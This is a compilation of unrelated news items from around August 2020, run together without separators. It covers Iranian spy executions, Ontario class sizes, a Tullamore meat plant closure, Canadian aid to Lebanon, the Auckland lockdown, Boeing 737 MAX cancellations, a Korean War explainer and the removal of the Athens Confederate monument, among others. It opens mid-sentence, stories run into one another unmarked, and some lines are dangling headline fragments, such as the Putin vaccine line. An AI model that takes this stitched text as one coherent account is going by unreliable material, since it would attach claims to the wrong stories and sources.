year, Iran hanged Jalal Hajizavar, also a former staffer of the defense ministry, after he had admitted in court he was paid to spy for the CIA. Tehran announced in December it had arrested eight people 'linked to the CIA' and involved in nationwide street protests that erupted the previous month over a surprise petrol price hike. It also said in July 2019 that it had dismantled a CIA spy ring, arrested 17 suspects between March 2018 and March 2019 and sentenced some of them to death. Trump at the time dismissed the claim as 'totally false'. What is it going to take for Premier Doug Ford and his education minister, Steven Lecce, to admit that their back-to-school plan for Ontario is flawed in at least one significant way? As it stands, the plan is for kids in kindergarten through Grade 8 to return to school in classes the same size as they were when schools were closed in response to COVID-19. That means that many elementary school classes will house 26, even 30, kids plus teachers and support staff. This caused alarm bells to go off as soon as the plan was released and since then the criticism has intensified daily. You dont have to be an expert to see that safe physical distancing in classrooms of this size with this many kids will not be possible. The concern isnt just from editorial armchair critics. Leaders at the Hospital for Sick Children say keeping class sizes low enough to enable physical distancing two metres or more is key to curbing transmission of COVID-19. Sick Kids president Dr. Ronald Cohn said: If you have a certain number of children in a class ... and physical distancing will be compromised by the number of children in the class, then we cannot and will not support this. Dr. Janine McCready, infectious disease physician, has said she is disappointed the government did not incorporate recommendations for smaller class sizes at the elementary level. If you put more kids in the class, you are making it higher risk that all those other mitigation strategies wont line up and there will be a higher chance of exposure, she said. Is 15 kids different than 16 kids? No. But is 15 kids different than 30 kids? Certainly. Canadas top public health official, Dr. Theresa Tam, says safe distancing in schools is essential to control the pandemic. Ontarios largest public school board in Toronto says it will make smaller elementary classes a priority. Toronto public health says that is essential. Education unions, like the Elementary Teachers Federation of Ontario, say the plan needs to include class size regulation. Nearly 200,000 people have signed an online petition. Lecce and Ford are deaf to the concerns, at least so far. Their plan is the best one in Canada, Ford insists, sounding altogether too boastful under the circumstances. He is fond of pointing out: Were giving the boards $30 million to hire new staff. More staff equals smaller classrooms. Thats true, but the money isnt for classroom staff, its for custodians and the like to improve school cleaning. Thats fine, but it has nothing to do with safe distancing. Lecce deflects the concerns, too, saying school boards are instructed to reduce class sizes by using their entire physical footprint, meaning gyms and cafeterias. Fair enough, but that is not the same thing as a provincial directive telling boards to do whatever is necessary to ensure elementary class sizes are more like 15 (which is what they will be in secondary school) rather than 30. Why are Ford and Lecce so inflexible on this point, in spite of the growing public and expert opinion? Its hard to say, but presumably it has something to do with money, as in smaller classes will require more teachers which requires money to pay them. If thats their point, they would do well to consider what happened in Israel. When that country reopened schools in May, the government did not require social distancing, and many classrooms returned to full size of around 40 students. Since then, more than 2,000 people have been infected through schools and one teacher died. Many parents and guardians are refusing to send their kids to school, not surprisingly. This is the sort of mistake Ford and Lecce are flirting with. They would be wise to stop the self-congratulations and fix this. Read more about: Carroll's Cuisine meat plant in Tullamore, Co Offaly, where nine people have tested positive for Covid-19. Photo: Niall Carson/PA Wire A meat plant in Tullamore has closed temporarily after nine of its employees tested positive for the coronavirus. After conducting independent testing last week, nine employees tested positive in Carroll Cuisine in Tullamore, Co Offaly and are currently self-isolating, according to the company. The plant, which has a workforce of 330 people, has now suspended its operations to prevent the spread of the virus in the community. It is not yet known when it will reopen. Read More We have been working closely and co-operatively with the HSE and, while positive case levels among our staff are low, we believe that the best approach is to take this break in operations over the days ahead until we can evaluate the results of comprehensive tests which were undertaken for our staff on a precautionary basis yesterday in co-operation with the HSE, said Kieran Carolan, Chief Executive of Carroll Cuisine. He said that while there have been calls for all meat factories with cases to close, he added that the industry will need to operate to meet demand. However, its essential that while closures may be envisaged, the industry will need to continue in operation to supply food and facilities will need to reopen once any particular situation is contained and brought under control. Clear guidance is required on the measures, procedures and roadmap envisaged by the Government in this regard, Mr Carolan added. Expand Close Carroll's Cuisine meat plant in Tullamore, Co Offaly, where nine people have tested positive for Covid-19. Photo: Niall Carson/PA Wire / Facebook Twitter Email Whatsapp Carroll's Cuisine meat plant in Tullamore, Co Offaly, where nine people have tested positive for Covid-19. Photo: Niall Carson/PA Wire He said that employees will be paid as normal and thanked them for their dedication. Our employees will continue to be paid as normal. We are very grateful to our staff for their excellent dedication and commitment and for the support and encouragement of our communities however we believe this temporary suspension of operations is the best course of action at this time. The first case of coronavirus occurred at the plant after a colleague tested positive on July 31 and began self-isolating. The company states that it then tested all staff with an independent laboratory service. We are doubling and redoubling our efforts to stop any spread of the virus, a statement from the company added. Russian President Vladimir Putin says that a coronavirus vaccine developed in the country has been registered for use and one of his daughters has already been inoculated. BAKU, Azerbaijan, Aug. 11 By Ilkin Seyfaddini - Trend: Uzbekistan is an important strategic partner of Russia in agriculture sector development, a representative of Russia's Ministry of Agriculture (Minselkhoz) told Trend in an interview. According to the representative, the interrelations between the countries are established in almost all major areas of cooperation. "Following the meeting of the Russian-Uzbek Working Group on Agriculture held in Tashkent on March 6, 2019, the sides developed a road map to intensify bilateral cooperation in agriculture in the medium term," the representative said. Russian Agriculture Minister Dmitry Patrushev and Agriculture Minister of Uzbekistan Jamshid Khojaev signed the document on 30 May 2019. "The road map provides for the development of Russian-Uzbek cooperation in such areas as poultry production, oilseed cultivation, commercial fish farming and aquaculture, digital agriculture, cooperation in veterinary and phytosanitary surveillance, horticulture and greenhouse management, consulting support in the agro-industrial complex, scientific and technological cooperation, as well as implementation of joint programs and investment projects in the agro-industrial complex," the official stated. Representative added that the heads of agricultural agencies of the two countries are actively working on expanding bilateral cooperation in the agro-industrial sector. The official added that the sides promote the development of exports and increase trade in agricultural products and food to attract significant amounts of investment for the implementation of various programs and investment projects in both countries. "The two sides are successfully implementing major investment projects in the construction of wholesale distribution and trade and logistics centers, which have helped to create favorable conditions for cooperation and create a modern trade and logistics infrastructure to increase the volume of mutual supplies of agricultural products," she said. The representative of the Russian Ministry of Agriculture added that the parties are considering the possibility of implementing projects in Russia to build agrological clusters. --- Follow author on Twitter: @seyfaddini OTTAWAPrime Minister Justin Trudeau has announced an additional $25 million in aid to help the people of Lebanon struggling to recover from last weeks devastating explosion in Beirut. That brings Canadas total contribution to the international aid effort to $30 million. Trudeau says the additional funding is intended to help trusted humanitarian aid groups support emergency medical services and provide shelter, food, and other essential items for people impacted by the blast. Trudeaus government was criticized last week for doing too little to help the Lebanese people, promising only an initial $5 million. Of that, $2 million was to match donations from Canadians. Last Tuesdays blast is believed to have been detonated by thousands of tonnes of ammonium nitrate stored for seven years at a portside warehouse. We will continue to monitor this tragic situation, and work closely with the international community and humanitarian partners to identify how we can continue to support the people of Lebanon and respond to their urgent needs, a government statement released late Monday said. International Development Minister Karina Gould was more explicit. Our government is sending a clear message to the Lebanese people that we will not only be there for them for the immediate response to this tragedy, but also for the rebuilding efforts over the long-term, she said in the statement. We are ready to do more and we will ensure that our investments go directly to communities affected. Trudeau said that matching funding has now been expanded to a maximum of $5 million. He encouraged Canadians to donate to the Lebanon matching fund, saying: Together, we can support the people of Lebanon as they work to heal and rebuild. More than 150 people were killed in the blast, thousands more were injured and an estimated 300,000 residents were left homeless. Canadas additional aid was announced just hours after Lebanese Prime Minister Hassan Diab announced the resignation of his government following days of angry protests. He blamed the blast on the result of endemic corruption. Bessma Momani, a professor of political science at the University of Waterloo, said the Canadian governments initial $5 million in aid was inadequate and not commensurate with what a G7 country with strong diaspora links to Lebanon and with a self-proclaimed internationalist agenda should commit. She questioned why the government put an initial $2-million cap on matching donations. This is a time when our government should encourage (Canadians) to give generously. PM Arden orders Auckland into lockdown after four new locally transmitted cases found in the same family. New Zealand has announced its first locally transmitted coronavirus infections in more than 100 days, prompting Prime Minister Jacinda Ardern to issue a stay-at-home lockdown order for the countrys largest city, Auckland. After New Zealand receiving global praise for its success in containing the virus, Ardern said four cases had been detected on Tuesday in a single family in Auckland from an unknown source, and that more than one workplace was affected. After 102 days, we have our first cases of COVID-19 outside of managed isolation or quarantine facilities, she said. While we have all worked incredibly hard to prevent this scenario, we have also planned and prepared for it. Ardern said Auckland would be moved to Level 3 from midday on Wednesday, meaning that people will be asked to stay at home, and schools, bars and many other businesses will be closed, for at least three days. She said the rest of the country would be raised to Level 2, with some physical distancing restrictions to be reintroduced. Until Tuesday, the World Health Organization had hailed the country as an example to others for having successfully eliminated community transmission. New Zealand has reported 1,570 cases of coronavirus, including 22 deaths. The country had not recorded community transmission since May 1. A lockdown for the nations nearly five million people was lifted in June after health officials reported zero active cases following the recovery of the last patient known to have contracted the infection. It was inevitable that New Zealand would get more cases of community transmission. This is a tricky virus, Ashley Bloomfield, the countrys director general of health, said. From organising film festivals to capitalising on Hollywood releases, multiplex major PVR says that it is all set to start operations as soon as it gets a go-ahead to open its multiplexes. "By the time we open up, Hollywood will already be there. We will also sit down with the local producers and plan their releases," says Nitin Sood, CFO, PVR. Though the lockdown saw film-makers (Gulabo Sitabo, Shakuntala Devi and Ghoomketu) releasing their films on OTT platforms, Sood says it was an insignificant number and that there are a host of big titles waiting to be released in theatres. "There may be three-four weeks of slow demand initially, but footfalls will incrementally get better," Sood further adds. The multiplex company has recently completed a Rs 300-crore rights issue which was over-subscribed 2.24 times. The rights issue, says Sood, received an application for 85 lakh shares worth Rs 672 crore. "Every shareholder participated in the rights issue and it shows their belief in the long-term value of our business even at a time when our business is not operational due to the pandemic. It will help us tide over the liquidity issue we faced due to the closure of the multiplexes and we will be able to go back to pre-COVID levels within three-six months." The multiplex fraternity was at loggerheads with the film producers who decided to release their films on OTT platforms during the lockdown. In fact, industry experts believe that going forward many small to mid-sized film-makers may opt to bypass the theatres or multiplexes and do direct-to-digital releases as theatrical releases don't add too much to their fortunes. This could result in content shortage for the multiplexes. Only 5-7 per cent of small budget films made at a cost of Rs 10-15 crore earn Rs 50 crore revenues at theatres. Therefore, if a producer can do a good OTT deal, he/she may be able to earn more than his/her budget and even get 10-15 per cent ROI, without a theatrical release. The multiplexes, however, need the small and mid-sized films to generate footfalls. "Tentpole releases are at the most 10 a year, and theatres run on full capacity for maximum 15 days. It is the small and mid-budget films which actually generate footfalls for the multiplexes throughout the year and also keeps their F&B revenue going," explains a senior industry experts. However, Sood claims that there are enough films waiting for the multiplexes to open up. With Hollywood releases scheduled for August 26 globally, he says that by the time the multiplexes are operational, there will be a slew of titles such as Tenet, Wonder Women, Black Window, No Time To Die, Kingsman, Tom & Jerry and Dune ready for release. Apart from dealing with a a shorter content pipeline, the multiplex industry is also trying to convince mall owners for a rent waiver during the lockdown period. "We are also negotiating for either reducing fixed rentals or doing a revenue share till the end of this fiscal. The discussions are progressing well," says Sood, who is confident that business would pick up post Diwali and fiscal 2021-22 would be as good as fiscal 2019-20. "FY20 was one of our best ever fiscals. We made a cash EBITDA of Rs 700 crore," he adds. Also Read: Factory output shrinks 16.6% in June even as industries resume production Also Read: GST rationalisation, transparent auction among key mining reforms in offing Also Read: People still avoiding hospitals for common illness, popping more vitamin pills A developers failure at the time to complete stormwater and drainage projects at the planned Falcon Marketplace, northwest of Woodmen and Meridian roads just outside Colorado Springs, caused El Paso County Commissioners to authorize their staff to hire a contractor to complete the shopping centers stormwater upgrades and to use proceeds from a $4.7 million developer bond as a funding source. After that decision, however, the developer resumed site preparation work at the shopping center. Now another developer is looking to step in to finish the project. By Eric M. Johnson and Ankit Ajmera Aug 11 (Reuters) - Boeing Co lost another 43 orders for its grounded 737 MAX planes in July, bringing the total cancellations for the jet this year to 398, while delivering only four of its other aircraft to customers, monthly numbers showed on Tuesday. Based on a tighter accounting standard, Boeing said order cancellations now stand at 857 for the MAX, whose recertification is still hanging in the balance more than a year after its worldwide grounding due to two fatal crashes. The four deliveries - one each of 767 and 777 freighters and two 787 Dreamliners - were down from 19 a year earlier, taking the total to 74 planes so far this year. Boeing delivered a record 806 aircraft in the whole of 2018, before the 737 MAX crisis erupted. Airlines pay most of the purchase price when they take delivery of an aircraft, so the lack of deliveries is a direct hit to a planemaker's revenue. Boeing did not win any new orders in July and its cancellations include 35 previously scratched orders for the 737 MAX by Dublin-based aircraft lessor AerCap Holdings and Kuwaiti aircraft leasing company Alafco. Fresh 737 MAX cancellations last month were by Canada Jetlines, which struck off five orders, Avolon scrapped two orders and a business jet customer canceled one order. Additionally, Boeing removed nine 737 MAX airplanes from its backlog to adjust for jets ordered in previous years but unlikely to be delivered currently. On an adjusted basis, a total of 52 more planes were canceled last month, bringing lost orders to 836 for the year as of July end. The company's gross orders, without cancellations, were 59 planes in the first seven months of 2020. (Reporting by Eric M. Johnson in Seattle and Ankit Ajmera in Bengaluru; editing by Patrick Graham and Anil D'Silva) Bachelor in Paradise star Bill Goldsmith has sparked rumours that he is in a relationship with Adelaide fashion stylist, Alexandra Schapel. The reality TV star was seen cuddling up to the brunette bombshell as the potential new couple hit the city streets together in Adelaide recently. Bill has also sent a number of flirty messages to the Melbourne Fashion School graduate under her style snaps on Instagram. New couple alert! Bachelor in Paradise star Bill Goldsmith has sparked rumours that he is in a relationship with Adelaide fashion stylist, Alexandra Schapel. The pair are pictured here cuddling up in Adelaide Under a photo of Alexandra wearing just a pair of white bikini bottoms and a cropped singlet, posted on July 12, he wrote: 'How's the rig?' Meanwhile, he commented 'Hot' and a flame emoji alongside a snap of Alexandra showing off her midriff in another revealing top and a pair of boyfriend jeans, also posted last month. 'Hot': Bill has also shared a number of flirty messages with the Melbourne Fashion School graduate under her style snaps on Instagram Bill has been spending a lot of time in Adelaide, and Alexandra has been tagged in a number of his pictures. Daily Mail Australia has reached out to Bill and Alexandra. Compliments: Under a photo of Alexandra wearing just a pair of white bikini bottoms and a cropped singlet, posted on July 12, he wrote: 'How's the rig?' Bill hit the headlines for a relationship other than his own earlier this week, after making sexist comments about Alisha Aitken-Radburn. Alisha, 26, declared her love for Glenn Smith, 32, during Sunday night's finale of Paradise, which was filmed in December - but it's believed they subsequently split and 'hooked up' with other people, before deciding to get back together. Taking to Instagram on Sunday, Bill shared a Daily Mail Australia article about the pair's brief break, and wrote: '"Hooked up" @DailyMailAU you are being too kind.' Found love? Bill has been spending a lot of time in Adelaide, and Alexandra has been tagged in a number of his pictures 'Wait until you hear the full details hahaha,' he added, alongside the squirting water and eggplant emojis and the hashtag #SheWasThirsty. Interestingly, Bill made no mention of the fact that Glenn had also hooked up with Helena Sauzier during his break from dating Alisha. During Friday's episode of the So Dramatic podcast, the host revealed that Glenn and Alisha had called it quits shortly after leaving Fiji and during this time they both 'hooked up' with different people. Not happy: Bill hit the headlines earlier this week, after making sexist comments about Alisha Aitken-Radburn (pictured), following her split from Glenn Smith Bill has only recently emerged back into the spotlight, following his own run on season two of Bachelor In Paradise. The mechanical plumber had a short-lived romance with Alex Nation before the pair split after leaving Fiji. He was later seen kissing a mystery brunette in his work van in Melbourne. SAN RAFAEL (BCN) A 38-year-old man was arrested Monday on suspicion of pouring acid in the gas tanks of vehicles at the San Francisco-Marin Food Bank earlier this month, San Rafael police said. Shahin Farman was arrested in connection with the vandalism reported around 6:25 a.m. on Aug. 2 at the food bank building at 2550 Kerner Blvd. in San Rafael, according to police. Someone had poured some type of acid in the gas tanks of five vehicles, causing more than $50,000 in damage. The food bank provided police with surveillance footage of the suspect walking around the parking lot. More for you Neighborhood volunteers deliver food for free, helping restaurants sidestep high fees A detective was able to identify the suspect as Farman, who was known to law enforcement and believed to be living in his vehicle, an early 2000s Dodge Caravan that was also seen in the surveillance footage, according to police. At about 2 p.m. Monday, San Rafael police learned that Novato police had detained Farman in the area of Redwood Boulevard and Olive Avenue. A subsequent search of his vehicle revealed a large quantity of muriatic acid, as well as clothing matching what was seen in the surveillance footage, and Farman was taken into custody. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. The Korean War was the first time the United States military engaged in a shooting conflict after the end of World War II; it was also the first of many sparks that really turned the Cold War hot. From 1950 to 1953, the Korean War was at the forefront of American minds and politics. A public emerging from the World War II years and weary of fighting didn't fully understand the threat of Communism or the Truman administration's "containment" strategy -- which meant they didn't fully understand what happened in the first place. Initially, the war was popular because the threat of Communism had loomed over the U.S. and her allies since the end of World War II. It was popular for the United States to take action against it. As the war ground on, however, all the American public knew was that it certainly didn't end the way they wanted it to. What Happened in the Korean War? A column of troops and armor of the 1st Marine Division move through communist Chinese lines during their successful breakout from the Chosin Reservoir in North Korea. The Marines were besieged when the Chinese entered the Korean War November 27, 1950, by sending 200,000 shock troops against Allied forces. (U.S. Marine Corps/Cpl. Peter McDonald) On June 25, 1950 -- 70 years ago -- North Korean tanks rolled across the 38th parallel and over the South Korean defenders of that border. It was not the heavily defended, ironically named "demilitarized zone" as we know it today. The early days of the Korean War were easy for the Communist North Koreans. With indirect support from Communist China and the Soviet Union, 75,000 Communist troops overran the pro-Western South. Republic of Korea (ROK) defenders had no tanks, artillery or heavy weapons to defend the position. Within five days, the South Koreans had lost 73,000 troops, and the capital of Seoul had fallen to the Communists. As soon as the United States received confirmation that the Soviet Union would not directly intercede on North Korea's behalf, President Harry Truman ordered American land and naval forces to come to South Korea's aid. U.S. forces in Japan were quickly shuttled to the Korean Peninsula to prop up the resistance to the North Korean advance. Even the American reinforcements were overrun by the Communists due to a general lack of weapons, equipment and supplies needed to fight a war -- especially in the blazing Korean summer. The Communist assault wasn't blunted until August, when the Americans established a line around a small section of the peninsula, centered on the city of Pusan (now Busan). With Chinese supplies and Soviet support, North Korea looked ready to push the defenders into the sea. But time was not on the Communists' side. The United Nations passed U.N. Resolution 83, which called for military aid to South Korea to push North Korea back to the 38th parallel. Reinforcements from the mainland United States would arrive by September. Meanwhile, air forces from the newborn U.S. Air Force and the U.S. Navy wreaked havoc on North Korean infrastructure and transportation capabilities. When the U.S. reinforcements did arrive, the Communists found themselves outnumbered. In September 1950, Gen. Douglas MacArthur led an amphibious assault at Inchon with U.S. Marines and soldiers and ROK troops. The rope-a-dope was complete. American troops flooded into the peninsula behind the lines on Sept. 15, and the U.S. 8th Army broke out of the Pusan Perimeter on the very next day. A M-20 75mm recoilless rifle is fired during the Korean War. (U.S. Army) Against all advice from China and the USSR, North Korean leader Kim Il-Sung (grandad to today's leader, Kim Jong-Un), did not redeploy to meet the Inchon Landing or to defend Seoul. Nine days later, Seoul was recaptured, and the road to North Korea's capital at Pyongyang was wide open. The North Korean People's Army (KPA) was rapidly disintegrating. On Oct. 1, 1950, U.N. forces invaded North Korea. China had been ready to intervene in the war from the outset, if it deemed it necessary. Knowing the Americans would advance north of the 38th parallel, it massed troops along the border with North Korea. In October, the Chinese People's Volunteer Army (PVA) silently moved across the border. When the U.N. troops reached the Yalu River, China made its move. The Chinese first encountered the Americans in November 1950. They routed the 8th Cavalry Division and forced its retreat, before disappearing into the mountains. The attack was so fast and their disappearance so sudden that the U.N. command didn't even believe the Chinese intervention actually happened. Two weeks later, the war began in earnest. On Nov. 13, 1950, the PVA forced the 8th Army to begin a retreat out of North Korea. The U.S. X Corps was surprised and encircled at the Chosin Reservoir two weeks later. The U.N. forces, Korean refugees and all the supplies and materiel began to flood back down the peninsula, by land or by sea. Kim Il-Sung was relieved of any control of the war by the Chinese. Truman would fire MacArthur for expanding the war. For the rest of the war, roughly two more years, the conflict turned into a bloody stalemate, with the front line hovering around the 38th parallel, where it is today. Why There Was a Korean War? A U.S. Marine with North Korean prisoners of war in Korea in 1953. (U.S. Marine Corps) At the end of World War II, the Korean Peninsula was occupied in the North by the forces of the Soviet Union and in the South by the Americans, split at the 38th parallel. Ever since the two sides established their preferred government in these areas, the Korean Peninsula clamored for reunification -- under its own government, of course. The North under Kim Il-Sung was ready to take the country by force from the outset, but was always restrained by Joseph Stalin in Moscow, who believed such a move could spark a third world war with the West -- something he feared. After the KGB turned an American code clerk in the U.S. Embassy in Moscow, they discovered that much of the American military power in the area had been moved to Japan. Believing the Americans would not move to defend Korea, the Soviets gave Kim Il-Sung the go-ahead. (KCNA) But Truman believed the invasion was a challenge to the free world and the United States in particular. He believed it was necessary for the free nations of the world to contain the spread of Communism -- that if the U.S. and the West allowed one country to fall to Communism, the rest of the nations in the region would fall one by one, or the "Domino Theory." Who Won the Korean War? By Christmas 1950, the Korean War ground to a stalemate at the 38th parallel, the place where it started and where the border is today. The war went on for two more years, but Truman opted not to run for another term as president of the United States and the Democratic Party lost ground in the 1952 elections. Dwight Eisenhower and the Republicans won the presidency, despite the war's initial popularity. Republicans also gained control of the House and Senate. The United States dropped more ordnance on North Korea in three years of fighting than it did on the entire Pacific Theater of World War II. The United States lost upward of 37,000 troops and suffered 102,000 wounded, according to the Korean War Project. The locals fared far worse -- some 4 million Korean and Chinese (mostly civilians) were killed, wounded or missing. The governments in North and South Korea never changed, even if Kim Il-Sung was forced to cede control of the Korean People's Army to China, and President (and de facto dictator) Syngman Rhee's South Korea wasn't really that "free" to begin with. After a while, the only sticking point between the two countries centered on returning captured Chinese and North Korean prisoners who didn't want to go home. How Did the Korean War End? B-26 Invaders bomb logistics depots in Wonsan, North Korea, 1951. (National Museum of the United States Air Force) The fighting finally ended on July 27, 1953, after two years of negotiations. Seoul had switched hands four times. Newly elected President Dwight D. Eisenhower (formerly general and supreme allied commander during WWII) went to Korea to find out for himself how to end it. Indian General K.S. Thimayya laid out a solution to the problem of prisoners of war, one both sides accepted. The shooting stopped that day, but the war never did. The Korean Armistice Agreement was signed by the United Nations, Korean People's Army and Chinese People's Volunteer Army, but Syngman Rhee's government refused to sign. It is an armistice and not a peace treaty, which means the war is technically ongoing, though fighting has ceased. Today, North Korea claims it won the Korean War, which it calls the "Fatherland Liberation War," and blames the United States for starting it in the first place. The armistice established the demilitarized zone (DMZ) as we know it today, where American and South Korean soldiers stare down North Korean soldiers every day. The Korean War, sandwiched between the romanticism of World War II and America's traumatic experience in Vietnam, is often forgotten among the conflicts of the 20th century, so much so that it's often referred to as "The Forgotten War." According to the Department of Veterans Affairs, there are 1.16 million Korean War veterans still living today. So if you see one, tell them everything you learned about their war. They will appreciate your taking the time to remember. -- Blake Stilwell can be reached at blake.stilwell@military.com. He can also be found on Twitter @blakestilwell or on Facebook. Want to Learn More About Military Life? Whether you're thinking of joining the military, looking for post-military careers or keeping up with military life and benefits, Military.com has you covered. Subscribe to Military.com to have military news, updates and resources delivered directly to your inbox. Two Democrats have written to the FBI asking the agency to investigate whether a bribe was offered during a conversation between Donald Trump and Sheldon Adelson, one of the presidents most important campaign donors. In a joint letter sent to the FBI on Monday, California Rep Ted Lieu, and New York Rep Kathleen Rice, called on detectives to probe whether an offer of money was made in exchange for action on a policy. As former prosecutors and current Members of Congress, we request the Federal Bureau of Investigation look into whether any crimes were committed during a conversation between President Trump and Sheldon Adelson, the letter states. In this case, Mr Adelson discussed a specific piece of legislation, the Coronavirus relief bill, with the President, it adds. The conversation in question took place last week, when Mr Adelson, an 87-year-old billionaire casino mogul, reached out to Mr Trump to discuss the coronavirus relief package, according to Politico. Talks between the two men later turned to campaign finances, the Politico report states. Mr Trump then allegedly antagonised Mr Adelson, and questioned why the Republican donor had not given more money to boost his re-election chances. It is this part of the conversation that led Mr Lieu and Ms Rice to write to the FBI. In the same conversation, the President asked Mr. Adelson to do more to support his campaign. Depending on what exactly was said, a bribe or solicitation of a bribe may have occurred, the letter continues. The Politico report did not include any details suggesting that any crime took place during the conversation. A source close to Mr Adelson told The Nevada Independent that the letter was pure politics. The Independent has contacted the White House for comment. Some Republicans fear that the conversation may have soured relations between Mr Trump and Mr Adelson, who has pledged to donate $100m to help re-elect the president and his allies on Capitol Hill. Mr Trump was reportedly unaware of how much cash Mr Adelson had vowed to hand over to Republicans running for office. Mr Adelson and his wife donated a staggering $124 million towards political campaigns throughout the 2018 midterm elections, a record for the prominent business family. Mr Adelson has consistently donated large sums of money near the end of the election to Super Pacs. The Republican donor began supporting Mr Trump in 2016 as he took on campaign promises in support of Israel, like moving the US embassy to Jerusalem from Tel Aviv, and visited the White House during the unveiling of the administrations Middle East peace plan. This was despite Mr Trump promising that he would fund his own campaign, saying in June 2015: I dont need anybodys money. Im using my own money, he said at the time. Im not using the lobbyists. Im not using the donors. I dont care. Im really rich. KITCHENER A man is facing a sexual assault charge after police responded to the report of an incident at a Kitchener home early Monday morning. Waterloo Regional Police received a call at 2 a.m. and opened an investigation. The victim, who was known by the suspect, suffered physical injuries, police say. Following the investigation, police arrested a 40-year-old Kitchener man and charged him with one count of sexual assault. He was held in custody for a bail hearing. - Lungani Mthembu has been invited to obtain his PhD at University of Groningen in Netherlands this September - He has received a four-year doctoral scholarship from the National Research Foundation (NRF) of South Africa and the Netherlands Universities Foundation for International Cooperation (NUFFIC) - Lungani's PhD will focus on charge transport, studying conductance and switching properties of photo-active materials for application in memory devices and next generation computers PAY ATTENTION: Click See First under the Following tab to see Briefly.co.za News on your News Feed! Lungani Mthembu is a shining example of the places hard work and determination can get you - for him that place is Netherlands. The former research chemist will be jetting off to complete his PhD after he received a four-year scholarship from the National Research Foundation of South Africa. READ ALSO: 6 Mzansi boss babes rocking short hair: Fearless trend-setters He took to Facebook to share an article that describes how he feels about being awarded the opportunity to pursue his scientific dreams. In the piece he says that he had always wanted to be a scientist. I always wanted to become a scientist. In high school I realised that I was pretty good in natural science so I chose the science stream, which is where my love for chemistry grew during physical science classes. That is when I decided I wanted to work in a chemical laboratory but I honestly did not know I would get this far, he said. READ ALSO: This SA man's peanut butter on pizza, is a NO from Mzansi The analytical chemistry graduate received a ton of support from his Facebook friends for his achievements. "Congratulations ntwana we are proud of you," wrote Sbongiseni Khuzwayo. While Siyanda Mbwanja said, "Congratulations my dear friend." Briefly.co.za previously reported on a young woman who is making a name for herself despite not having an educational background. Siphesihle failed matric but still went on to become a fruit and veg farm owner who employs 20 people, proving that sometimes all you need is determination, dedication and commitment to succeed. Enjoyed reading our story? Download BRIEFLY's news app on Google Play now and stay up-to-date with major South African news! Source: Briefly News In the 220th draw of the Sthree sakthi lottery, the first prize is of Rs 75 lakh and for the second prize it is Rs 10 lakh. The first and second prizes are common to all series. The results will be declared today at 3 pm. Kerala State Lotteries of Kerala Finance department will release the Sthree Sakthi Lottery results today. The Kerala Lottery Department is going to announce the Sthree Sakthi Weekly Tuesday Lottery SS-222 result today at 3:00 pm. The Director, Kerala Lottery Department will declare the official list of lucky winners after the lucky draw scheduled at Gorky Bhavan, Thiruvananthapuram. The live streaming of the lucky winners list will be available at the official website of the Kerala Lottery Department. Kerala Lottery Department will Give Rs 75 lakh to the first prize winner of Sthree Sakthi Tuesday weekly lottery result today. Second prize winner of the Sthree Sakthi Tuesday weekly lottery result will be given Rs 10 lakh while third prize winner will be given Rs 5,000. 4th, 5th, 6th, 7th and 8th prize winner will get Rs 2,000, Rs 1,000, Rs 5,00, Rs 200 and Rs 100. Apart from this, there is a consolation prize of Rs 8,000. Live declaration of the Kerala Sthree Sakthi SS-222 lottery results will begin at 3:00 PM. The price of a single Kerala Sthree Sakthi SS-222 lottery ticket is Rs 40, while the entire book costs Rs 750. With seven daily and multiple bumpers draws, the lottery is one of the biggest cash flows in Kerala. The state government organizes four festival bumper draws Onam, Vishu, Christmas and Pooja or Dussehra. If the prize money is less than Rs 5,000, the winners can claim the money from any lottery shop in Kerala. However, in case, the prize money is above Rs 5,000, the winners are urged to surrender their tickets before a bank or government lottery office with his or her id proofs. Work crews in Georgia have begun dismantling a Confederate monument that has stood in the median of a busy street in downtown Athens for nearly 150 years. City crews using bucket lifts started taking down sections of the towering marble obelisk late Monday and worked through Tuesday morning amid a small group of onlookers. City officials said in a statement that work was expected to take several nights. Workers remove the downtown Confederate monument in Athens, Georgia on Monday night City crews using bucket lifts started taking down sections of the towering marble obelisk late Monday and worked through Tuesday morning The death of a black man, George Floyd, at the hands of Minneapolis police officers sparked a renewed wave of Confederate monument removals across the U.S., just like a violent 2017 white supremacist rally in Charlottesville before it and a mass shooting at a historic African American church in South Carolina before that. As a national outcry over racial injustice prompted renewed efforts across the U.S. to take down Confederate statues and monuments, Athens-Clarke County commissioners voted in June to remove the monument from its prominent location on Broad Street, where downtown meets the University of Georgia campus. The Athens monument was completed in 1872 and was built in memory of 217 local Confederate soldiers who died in the Civil War. Athens Confederate Monument The Athens Confederate Monument is a memorial that was situated in the median strip of Broad Street in the Downtown Local Historic District of Athens, Georgia. The monument's foundation shows the names of the city's white Confederate soldiers who were killed during the American Civil War from 1861 to 1865. The monument was one of the first to be built in the South after the end of the war at a cost of $4,000 (about $900,000 in 2020) which was raised by the Ladies' Memorial Association in the city. It was first suggested the city remove the monument after the Charleston church shooting in 2015. After the killing of George Floyd by Minneapolis police the area once again became a rallying point for demonstrations in the city with protesters once against calling for the monument to be moved. In June, the mayor proposed a $450,000 plan that would see the monument moved from Broad Street to the site of Athens' only skirmish during the Civil War at Barber Creek. Work began on Monday, August 10 to remove the monument whereupon it will be placed temporarily in storage. The Athens Confederate monument has stood in the middle of the town since 1872 (file photo) Advertisement Workers continue removing the downtown Confederate monument in Athens, Georgia Athens-Clarke County commissioners voted in June to remove the monument from its prominent location on Broad Street Georgia law prohibits moving Confederate monuments. Athens-Clarke County officials have said the move is necessary in order to widen a busy pedestrian crosswalk. They plan to place the monument into storage and relocate it later to the site of the county's only fighting in the Civil War. A group that promotes Confederate heritage has filed suit in Superior Court to stop the move. But a judge declined to grant an injunction that would have prohibited city crews from dismantling the monument while the case is pending. The work to remove the confederate monument is expected to take several nights The statue is to be placed into storage before ultimately being moved to Athens' only skirmish during the Civil War at Barber Creek The Ladies Memorial Association erected the memorial in 1871 and 1872 in memory of Confederate soldiers from Athens who died in the Civil War. It was placed in the center of the College Avenue and Washington Street intersection but was moved to East Broad Street in 1912. At least 77 Confederate statues, monuments or markers have been removed from public land across the country since Floyds death at the hands of police in Minnesota on May 25, making 2020 one of the busiest years yet for removals. Most were removed by government officials, though protesters have toppled some. But markers that many view as racist have not come down as swiftly in rural parts of the country. The monument was one of the first to be built in the South after the end of the war at a cost of $4,000 (about $900k in 2020) which was raised by the city's Ladies' Memorial Association It was first suggested the city remove the monument after 2015's Charleston church shooting After the killing of George Floyd by police the area once again became a rallying point for demonstrations in the city 